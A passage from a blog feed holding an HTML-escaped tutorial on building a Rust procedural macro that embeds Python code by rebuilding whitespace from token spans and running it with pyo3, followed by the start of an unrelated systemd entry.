&lt;p&gt;And now we’ve stumbled across the biggest problem we’ll have to overcome: &lt;code&gt;stringify!&lt;&#x2F;code&gt; messes up white-space.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;white-space-and-tokens&quot;&gt;White-space and tokens&lt;&#x2F;h2&gt;
&lt;p&gt;Let’s take a closer look at what &lt;code&gt;stringify!&lt;&#x2F;code&gt; does:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    println!(&amp;quot;{}&amp;quot;, stringify!(
        a 123    b   c
        x ( y + z )
        &amp;#x2F;&amp;#x2F; comment
        ...
    ));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;$ cargo r
   Compiling scratchpad v0.1.0
    Finished dev [unoptimized + debuginfo] target(s) in 0.21s
     Running `target&amp;#x2F;debug&amp;#x2F;scratchpad`
a 123 b c x(y + z) ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Not only does it remove all unnecessary white-space, it even removes comments. The reason is that we’re working with tokens here, not the original source code: &lt;code&gt;a&lt;&#x2F;code&gt;, &lt;code&gt;123&lt;&#x2F;code&gt;, &lt;code&gt;b&lt;&#x2F;code&gt;, etc.&lt;&#x2F;p&gt;
&lt;p&gt;One of the first things rustc does, is to tokenize the source code. This makes it easier to do the rest of the parsing, not having to deal with individual characters like &lt;code&gt;1&lt;&#x2F;code&gt;, &lt;code&gt;2&lt;&#x2F;code&gt;, &lt;code&gt;3&lt;&#x2F;code&gt;, but only with tokens such as ‘integer literal 123’. Also, white-space and comments are gone after tokenizing, as they are meaningless for the compiler.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;stringify!()&lt;&#x2F;code&gt; is a way to convert a bunch of tokens back to a string, but on a ‘best effort’ basis: It will convert the tokens back to text, and only insert spaces around tokens when needed (to avoid turning &lt;code&gt;b&lt;&#x2F;code&gt;, &lt;code&gt;c&lt;&#x2F;code&gt; into &lt;code&gt;bc&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;So this is a bit of a dead end. Rustc has carelessly thrown our precious white-space away, which is very significant in Python.&lt;&#x2F;p&gt;
&lt;p&gt;We could try to have some code guess which spaces have to be replaced back by newlines, but indentation is definitely going to be a problem:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    let a = stringify!(
        if False:
            x()
        y()
    );
    let b = stringify!(
        if False:
            x()
            y()
    );
    dbg!(a);
    dbg!(b);
    dbg!(a == b);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;$ cargo r
   Compiling scratchpad v0.1.0
    Finished dev [unoptimized + debuginfo] target(s) in 0.20s
     Running `target&amp;#x2F;debug&amp;#x2F;scratchpad`
[src&amp;#x2F;main.rs:12] a = &amp;quot;if False : x() y()&amp;quot;
[src&amp;#x2F;main.rs:13] b = &amp;quot;if False : x() y()&amp;quot;
[src&amp;#x2F;main.rs:14] a == b = true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The two snippets of Python code have a different meaning, but &lt;code&gt;stringify!&lt;&#x2F;code&gt; gives us the same result for both.&lt;&#x2F;p&gt;
&lt;p&gt;Before giving up, let’s try the other type of macros.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;procedural-macros&quot;&gt;Procedural macros&lt;&#x2F;h2&gt;
&lt;p&gt;Rust’s &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;reference&#x2F;procedural-macros.html&quot;&gt;procedural macros&lt;&#x2F;a&gt; are another way to define macros. Whereas &lt;code&gt;macro_rules!&lt;&#x2F;code&gt; can only define ‘function-style macros’ (those with an &lt;code&gt;!&lt;&#x2F;code&gt;), procedural macros can also define &lt;em&gt;custom derive macros&lt;&#x2F;em&gt; (e.g. &lt;code&gt;#[derive(Stuff)]&lt;&#x2F;code&gt;) and &lt;em&gt;attribute macros&lt;&#x2F;em&gt; (e.g. &lt;code&gt;#[stuff]&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;Procedural macros are implemented as a compiler plugin. You get to write a function that gets access to the token stream the compiler sees, can do whatever it wants, and then needs to return a new token stream which the compiler will use instead (or in addition, in the case of a custom derive):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[proc_macro]
pub fn python(input: TokenStream) -&amp;gt; TokenStream {
    todo!()
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That &lt;code&gt;TokenStream&lt;&#x2F;code&gt; there doesn’t predict anything good. We need the original source code, not just the tokens. But let’s just continue anyway. Maybe a procedural macro gives us more flexibility to hack our way around any problems.&lt;&#x2F;p&gt;
&lt;p&gt;Because procedural macros run Rust code as part of the compilation process, they need to go in a separate &lt;code&gt;proc-macro&lt;&#x2F;code&gt; crate, which is compiled before you can compile anything that uses it.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;$ cargo new --lib python-macro
     Created library `python-macro` package
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In &lt;code&gt;python-macro&#x2F;Cargo.toml&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;[lib]
proc-macro = true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In &lt;code&gt;Cargo.toml&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;[dependencies]
python-macro = { path = &amp;quot;.&amp;#x2F;python-macro&amp;quot; }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let’s start with an implementation that just panics (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;core&#x2F;macro.todo.html&quot;&gt;&lt;code&gt;todo!()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;), after printing the &lt;code&gt;TokenStream&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; python-macro&amp;#x2F;src&amp;#x2F;lib.rs
extern crate proc_macro;
use proc_macro::TokenStream;

#[proc_macro]
pub fn python(input: TokenStream) -&amp;gt; TokenStream {
    dbg!(input.to_string());
    todo!()
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; src&amp;#x2F;main.rs
use python_macro::python;

fn main() {
    println!(&amp;quot;Hello ...&amp;quot;);
    python! {
        print(&amp;quot;... World!&amp;quot;)
        print(&amp;quot;Bye.&amp;quot;)
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;$ cargo r
   Compiling python-macro v0.1.0
   Compiling scratchpad v0.1.0
error[E0658]: procedural macros cannot be expanded to statements
 --&amp;gt; src&amp;#x2F;main.rs:5:5
  |
5 | &amp;#x2F;     python! {
6 | |         print(&amp;quot;... World!&amp;quot;)
7 | |         print(&amp;quot;Bye.&amp;quot;)
8 | |     }
  | |_____^
  |
  = note: see issue #54727 &amp;lt;https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;rust-lang&amp;#x2F;rust&amp;#x2F;issues&amp;#x2F;54727&amp;gt; for more information
  = help: add `#![feature(proc_macro_hygiene)]` to the crate attributes to enable
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Whelp, what happened here?&lt;&#x2F;p&gt;
&lt;p&gt;Rust complains that ‘&lt;em&gt;procedural macros cannot be expanded to statements&lt;&#x2F;em&gt;’, and something about enabling ‘hygienic macros’. &lt;em&gt;Macro hygiene&lt;&#x2F;em&gt; is the wonderful feature of Rust macros to not accidentally ’leak’ any names to the outside world (or the reverse). If a macro expands to code that uses some temporary variable named &lt;code&gt;x&lt;&#x2F;code&gt;, it will be separate from any &lt;code&gt;x&lt;&#x2F;code&gt; that appears in any code outside of the macro.&lt;&#x2F;p&gt;
&lt;p&gt;However, this feature isn’t stable yet for procedural macros. The result is that procedural macros are not (yet) allowed to appear in any place other than as a item by itself (e.g. at file scope, but not inside a function).&lt;&#x2F;p&gt;
&lt;p&gt;There exists &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;proc-macro-hack&quot;&gt;a very &lt;&#x2F;a&gt;&lt;sub&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;proc-macro-hack&quot;&gt;horrible&lt;&#x2F;a&gt;&lt;&#x2F;sub&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;proc-macro-hack&quot;&gt; fascinating workaround&lt;&#x2F;a&gt; for this, but let’s just enable the experimental &lt;code&gt;#![feature(proc_macro_hygiene)]&lt;&#x2F;code&gt; and continue our adventure.&lt;&#x2F;p&gt;
&lt;p&gt;(If you are reading this in the future, when &lt;code&gt;proc_macro_hygiene&lt;&#x2F;code&gt; has been stabilized: You could’ve skipped the last few paragraphs. ^^)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;mysql&quot; class=&quot;language-mysql &quot;&gt;&lt;code class=&quot;language-mysql&quot; data-lang=&quot;mysql&quot;&gt;$ sed -i &amp;#x27;1i#![feature(proc_macro_hygiene)]&amp;#x27; src&amp;#x2F;main.rs
$ cargo r
   Compiling scratchpad v0.1.0
[python-macro&amp;#x2F;src&amp;#x2F;lib.rs:6] input.to_string() = &amp;quot;print(\&amp;quot;... World!\&amp;quot;) print(\&amp;quot;Bye.\&amp;quot;)&amp;quot;
error: proc macro panicked
 --&amp;gt; src&amp;#x2F;main.rs:6:5
  |
6 | &amp;#x2F;     python! {
7 | |         print(&amp;quot;... World!&amp;quot;)
8 | |         print(&amp;quot;Bye.&amp;quot;)
9 | |     }
  | |_____^
  |
  = help: message: not yet implemented

error: aborting due to previous error

error: could not compile `scratchpad`.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Our procedural macro panics as expected, after showing us the input it got as string:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;print(&amp;quot;... World!&amp;quot;) print(&amp;quot;Bye.&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Again, as expected, with the white-space thrown away. :(&lt;&#x2F;p&gt;
&lt;p&gt;Time to give up.&lt;&#x2F;p&gt;
&lt;p&gt;Or.. Maybe there’s a way to work around this.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;reconstructing-white-space&quot;&gt;Reconstructing white-space&lt;&#x2F;h2&gt;
&lt;p&gt;Although &lt;code&gt;rustc&lt;&#x2F;code&gt; only works with tokens while parsing en compiling, it somehow still knows exactly where to point when it has errors to report. There’s no newlines left in the tokens, but it still knows our error happened on lines 6 through 9. How?&lt;&#x2F;p&gt;
&lt;p&gt;It turns out that tokens contain quite a bit of information. They contain a &lt;code&gt;Span&lt;&#x2F;code&gt;, which is basically the start and end location of the token in the original source file. The &lt;code&gt;Span&lt;&#x2F;code&gt; can tell which file, line, and column number a token starts and ends at.&lt;&#x2F;p&gt;
&lt;p&gt;If we can get to this information, we can &lt;em&gt;reconstruct&lt;&#x2F;em&gt; the white-space by putting spaces and newlines between tokens to match their line and column information.&lt;&#x2F;p&gt;
&lt;p&gt;Functions that give us this information are not yet stable and gated behind &lt;code&gt;#![feature(proc_macro_span)]&lt;&#x2F;code&gt;. Let’s enable it, and see what we get:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#![feature(proc_macro_span)]

extern crate proc_macro;
use proc_macro::TokenStream;

#[proc_macro]
pub fn python(input: TokenStream) -&amp;gt; TokenStream {
    for t in input {
        dbg!(t.span().start());
    }
    todo!()
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;$ cargo r
   Compiling python-macro v0.1.0
   Compiling scratchpad v0.1.0
[python-macro&amp;#x2F;src&amp;#x2F;lib.rs:9] t.span().start() = LineColumn {
    line: 7,
    column: 8,
}
[python-macro&amp;#x2F;src&amp;#x2F;lib.rs:9] t.span().start() = LineColumn {
    line: 7,
    column: 13,
}
[python-macro&amp;#x2F;src&amp;#x2F;lib.rs:9] t.span().start() = LineColumn {
    line: 8,
    column: 8,
}
[python-macro&amp;#x2F;src&amp;#x2F;lib.rs:9] t.span().start() = LineColumn {
    line: 8,
    column: 13,
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Nice! We got some numbers.&lt;&#x2F;p&gt;
&lt;p&gt;But there’s only four tokens? It turns out &lt;code&gt;(&quot;... World!&quot;)&lt;&#x2F;code&gt; appears one token here, and not three (&lt;code&gt;(&lt;&#x2F;code&gt;, &lt;code&gt;&quot;... World!&quot;&lt;&#x2F;code&gt;, and &lt;code&gt;)&lt;&#x2F;code&gt;). If we look at the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;proc_macro&#x2F;struct.TokenStream.html#Item.t&quot;&gt;documentation of &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;proc_macro&#x2F;struct.TokenStream.html#Item.t&quot;&gt;&lt;code&gt;TokenStream&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, we can see it doesn’t give us a stream of tokens, but of &lt;em&gt;token trees&lt;&#x2F;em&gt;. Apparently Rust’s tokenizer already matches parentheses (and braces and brackets) and doesn’t just give a linear list of tokens, but a tree of tokens. Tokens inside parentheses will be children of a single &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;proc_macro&#x2F;struct.Group.html&quot;&gt;&lt;code&gt;Group&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;proc_macro&#x2F;struct.Group.html&quot;&gt; token&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s modify our procedural macro to recursively go over all the tokens inside groups as well (and improve the output a bit):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[proc_macro]
pub fn python(input: TokenStream) -&amp;gt; TokenStream {
    print(input);
    todo!()
}

fn print(input: TokenStream) {
    for t in input {
        if let TokenTree::Group(g) = t {
            println!(&amp;quot;{:?}: open {:?}&amp;quot;, g.span_open().start(), g.delimiter());
            print(g.stream());
            println!(&amp;quot;{:?}: close {:?}&amp;quot;, g.span_close().start(), g.delimiter());
        } else {
            println!(&amp;quot;{:?}: {}&amp;quot;, t.span().start(), t.to_string());
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;$ cargo r
   Compiling python-macro v0.1.0
   Compiling scratchpad v0.1.0
LineColumn { line: 7, column: 8 }: print
LineColumn { line: 7, column: 13 }: open Parenthesis
LineColumn { line: 7, column: 14 }: &amp;quot;... World!&amp;quot;
LineColumn { line: 7, column: 26 }: close Parenthesis
LineColumn { line: 8, column: 8 }: print
LineColumn { line: 8, column: 13 }: open Parenthesis
LineColumn { line: 8, column: 14 }: &amp;quot;Bye.&amp;quot;
LineColumn { line: 8, column: 20 }: close Parenthesis
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Wonderful!&lt;&#x2F;p&gt;
&lt;p&gt;Now to reconstruct the white-space, we need to insert newlines if we’re not on the right line yet, and spaces if we’re not in the right column yet. Let’s see:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#![feature(proc_macro_span)]

extern crate proc_macro;
use proc_macro::{TokenTree, TokenStream, LineColumn};

#[proc_macro]
pub fn python(input: TokenStream) -&amp;gt; TokenStream {
    let mut s = Source {
        source: String::new(),
        line: 1,
        col: 0,
    };
    s.reconstruct_from(input);
    println!(&amp;quot;{}&amp;quot;, s.source);
    todo!()
}

struct Source {
    source: String,
    line: usize,
    col: usize,
}

impl Source {
    fn reconstruct_from(&amp;amp;mut self, input: TokenStream) {
        for t in input {
            if let TokenTree::Group(g) = t {
                let s = g.to_string();
                self.add_whitespace(g.span_open().start());
                self.add_str(&amp;amp;s[..1]); &amp;#x2F;&amp;#x2F; the &amp;#x27;[&amp;#x27;, &amp;#x27;{&amp;#x27; or &amp;#x27;(&amp;#x27;.
                self.reconstruct_from(g.stream());
                self.add_whitespace(g.span_close().start());
                self.add_str(&amp;amp;s[s.len() - 1..]); &amp;#x2F;&amp;#x2F; the &amp;#x27;]&amp;#x27;, &amp;#x27;}&amp;#x27; or &amp;#x27;)&amp;#x27;.
            } else {
                self.add_whitespace(t.span().start());
                self.add_str(&amp;amp;t.to_string());
            }
        }
    }

    fn add_str(&amp;amp;mut self, s: &amp;amp;str) {
        &amp;#x2F;&amp;#x2F; Let&amp;#x27;s assume for now s contains no newlines.
        self.source += s;
        self.col += s.len();
    }

    fn add_whitespace(&amp;amp;mut self, loc: LineColumn) {
        while self.line &amp;lt; loc.line {
            self.source.push(&amp;#x27;\n&amp;#x27;);
            self.line += 1;
            self.col = 0;
        }
        while self.col &amp;lt; loc.column {
            self.source.push(&amp;#x27; &amp;#x27;);
            self.col += 1;
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Fingers crossed..&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;$ cargo r
   Compiling python-macro v0.1.0
   Compiling scratchpad v0.1.0

        print(&amp;quot;... World!&amp;quot;)
        print(&amp;quot;Bye.&amp;quot;)
error: proc macro panicked
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Okay, that works, but what’s with all the extra newlines and spaces? Oh right, the first token starts at line 7 column 8, so it correctly puts &lt;code&gt;print&lt;&#x2F;code&gt; on line 7 in column 8. The location we’re looking at is the exact location in the &lt;code&gt;.rs&lt;&#x2F;code&gt; file.&lt;&#x2F;p&gt;
&lt;p&gt;The extra newlines at the start are not a problem (empty lines have no effect in Python). It even has a nice side effect: When Python reports an error, the line number it reports will match the line number in the &lt;code&gt;.rs&lt;&#x2F;code&gt; file.&lt;&#x2F;p&gt;
&lt;p&gt;However, the 8 spaces are a problem. Although the Python code inside our &lt;code&gt;python!{..}&lt;&#x2F;code&gt; is properly indented with respect to our Rust code, the Python code we extract should start at a ‘zero’ indentation level. Otherwise Python will complain about invalid indentation.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s subtract the column number of the first token from all column numbers:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;    start_col: None,
    &amp;#x2F;&amp;#x2F; &amp;lt;snip&amp;gt;
    start_col: Option&amp;lt;usize&amp;gt;,
    &amp;#x2F;&amp;#x2F; &amp;lt;snip&amp;gt;
    let start_col = *self.start_col.get_or_insert(loc.column);
    let col = loc.column.checked_sub(start_col).expect(&amp;quot;Invalid indentation.&amp;quot;);
    while self.col &amp;lt; col {
        self.source.push(&amp;#x27; &amp;#x27;);
        self.col += 1;
    }
    &amp;#x2F;&amp;#x2F; &amp;lt;snip&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;$ cargo r
   Compiling python-macro v0.1.0
   Compiling scratchpad v0.1.0

print(&amp;quot;... World!&amp;quot;)
print(&amp;quot;Bye.&amp;quot;)
error: proc macro panicked
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Awesome!&lt;&#x2F;p&gt;
&lt;p&gt;Now we only have to turn this string into a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;proc_macro&#x2F;struct.Literal.html&quot;&gt;string literal token&lt;&#x2F;a&gt; and put &lt;code&gt;run_python();&lt;&#x2F;code&gt; around it:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;    TokenStream::from_iter(vec![
        TokenTree::from(Ident::new(&amp;quot;run_python&amp;quot;, Span::call_site())),
        TokenTree::Group(Group::new(
            Delimiter::Parenthesis,
            TokenStream::from(TokenTree::from(Literal::string(&amp;amp;s.source))),
        )),
        TokenTree::from(Punct::new(&amp;#x27;;&amp;#x27;, Spacing::Alone)),
    ])
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Ugh, working with token trees is horrible. Especially making trees and streams from scratch.&lt;&#x2F;p&gt;
&lt;p&gt;If only there was a way to just write the Rust code we want to produce and— Ah yes, the &lt;code&gt;quote!&lt;&#x2F;code&gt; macro from the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;crates.io&#x2F;crates&#x2F;quote&quot;&gt;&lt;code&gt;quote&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; crate:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;    let source = s.source;
    quote!( run_python(#source); ).into()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Okay, that’s better.&lt;&#x2F;p&gt;
&lt;p&gt;Now to test it using our original &lt;code&gt;run_python&lt;&#x2F;code&gt; function:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#![feature(proc_macro_hygiene)]
use python_macro::python;

fn run_python(code: &amp;amp;str) {
    let py = pyo3::Python::acquire_gil();
    if let Err(e) = py.python().run(code, None, None) {
        e.print(py.python());
    }
}

fn main() {
    println!(&amp;quot;Hello ...&amp;quot;);
    python! {
        print(&amp;quot;... World!&amp;quot;)
        print(&amp;quot;Bye.&amp;quot;)
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;$ cargo r
   Compiling scratchpad v0.1.0
    Finished dev [unoptimized + debuginfo] target(s) in 0.31s
     Running `target&amp;#x2F;debug&amp;#x2F;scratchpad`
Hello ...
... World!
Bye.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Success!&lt;&#x2F;p&gt;
&lt;p&gt;🎉&lt;&#x2F;p&gt;
&lt;h2 id=&quot;turning-this-into-a-library&quot;&gt;Turning this into a library&lt;&#x2F;h2&gt;
&lt;p&gt;Now to turn this into a reusable library, we:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Remove &lt;code&gt;fn main&lt;&#x2F;code&gt;,&lt;&#x2F;li&gt;
&lt;li&gt;Rename &lt;code&gt;main.rs&lt;&#x2F;code&gt; to &lt;code&gt;lib.rs&lt;&#x2F;code&gt;,&lt;&#x2F;li&gt;
&lt;li&gt;Give the crate a good name, like &lt;code&gt;inline-python&lt;&#x2F;code&gt;,&lt;&#x2F;li&gt;
&lt;li&gt;Make &lt;code&gt;run_python&lt;&#x2F;code&gt; public,&lt;&#x2F;li&gt;
&lt;li&gt;Change the &lt;code&gt;run_python&lt;&#x2F;code&gt; call in the &lt;code&gt;quote!()&lt;&#x2F;code&gt; to &lt;code&gt;inline_python::run_python&lt;&#x2F;code&gt;, and&lt;&#x2F;li&gt;
&lt;li&gt;Add &lt;code&gt;pub python_macro::python;&lt;&#x2F;code&gt; to re-export the &lt;code&gt;python!&lt;&#x2F;code&gt; macro from this crate.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;what-s-next&quot;&gt;What’s next&lt;&#x2F;h2&gt;
&lt;p&gt;There’s probably tons of things to improve and plenty of bugs to discover, but at least we can now run snippets of Python in between our lines of Rust code.&lt;&#x2F;p&gt;
&lt;p&gt;The biggest problem for now is that this isn’t very useful yet, since no data can (easily) cross the Rust-Python border.&lt;&#x2F;p&gt;
&lt;p&gt;In &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.m-ou.se&#x2F;writing-python-inside-rust-2&quot;&gt;part 2&lt;&#x2F;a&gt;, we’ll take a look at how we can make Rust variables available to the Python code.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;&#x2F;strong&gt;  Before &lt;em&gt;part 2&lt;&#x2F;em&gt;, there’s a &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.m-ou.se&#x2F;writing-python-inside-rust-1a&quot;&gt;part 1A&lt;&#x2F;a&gt;&lt;&#x2F;em&gt; that doesn’t improve our &lt;code&gt;python!{}&lt;&#x2F;code&gt; macro yet, but goes into some details people have asked me about. Specifically, it goes into:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Why you’d want to use Python inside Rust like this,&lt;&#x2F;li&gt;
&lt;li&gt;Syntax issues like using Python’s single-quoted strings, and&lt;&#x2F;li&gt;
&lt;li&gt;The option of using &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;proc_macro&#x2F;struct.Span.html#method.source_text&quot;&gt;&lt;code&gt;Span::source\_text&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, which didn’t exist when I first wrote this code.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Next: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.m-ou.se&#x2F;writing-python-inside-rust-1a&quot;&gt;Part 1A&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>systemd 中的requires, wants, before, after - kissrule</title>
        <published>2024-06-16T00:00:00+00:00</published>
        <updated>2024-06-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/systemd-中的requires-wants-before-after-kissrule/"/>
        <id>https://vercel.juzhong.asia/obsidian/systemd-中的requires-wants-before-after-kissrule/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/systemd-中的requires-wants-before-after-kissrule/">&lt;h1 id=&quot;systemd-zhong-de-requires-wants-before-after-kissrule&quot;&gt;systemd 中的requires, wants, before, after - kissrule&lt;&#x2F;h1&gt;
